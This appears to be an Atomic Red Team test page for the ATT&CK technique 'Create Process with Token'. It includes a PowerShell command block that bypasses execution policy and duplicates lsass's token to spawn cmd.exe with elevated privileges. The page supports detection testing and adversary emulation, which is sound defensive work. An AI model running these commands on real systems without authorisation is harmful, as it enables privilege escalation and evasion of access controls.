# T1134.002 - Create Process with Token
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1134/002)
<blockquote>Adversaries may create a new process with a duplicated token to escalate privileges and bypass access controls. An adversary can duplicate a desired access token with <code>DuplicateToken(Ex)</code> and use it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.</blockquote>

## Atomic Tests

- [Atomic Test #1 - Access Token Manipulation](#atomic-test-1---access-token-manipulation)


<br/>

## Atomic Test #1 - Access Token Manipulation
This Action demonstrates how an access token for a specific program can spawn another program under a different owner. 
Adversaries can leverage access tokens to run programs under a different user not only to achieve privilege escalation but also to evade detection by blending in with normal user activity. 
This Action will query all processes and list the process name and owner.It will then make a copy of an existing token to create a new instance of cmd.exe

**Supported Platforms:** Windows


**auto_generated_guid:** dbf4f5a9-b8e0-46a3-9841-9ad71247239e






#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
Set-ExecutionPolicy -Scope Process Bypass -Force
$owners = @{}
gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
Get-Process | Select ProcessName,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}
$PathToAtomicsFolder\T1134.002\src\GetToken.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe")
```






<br/>
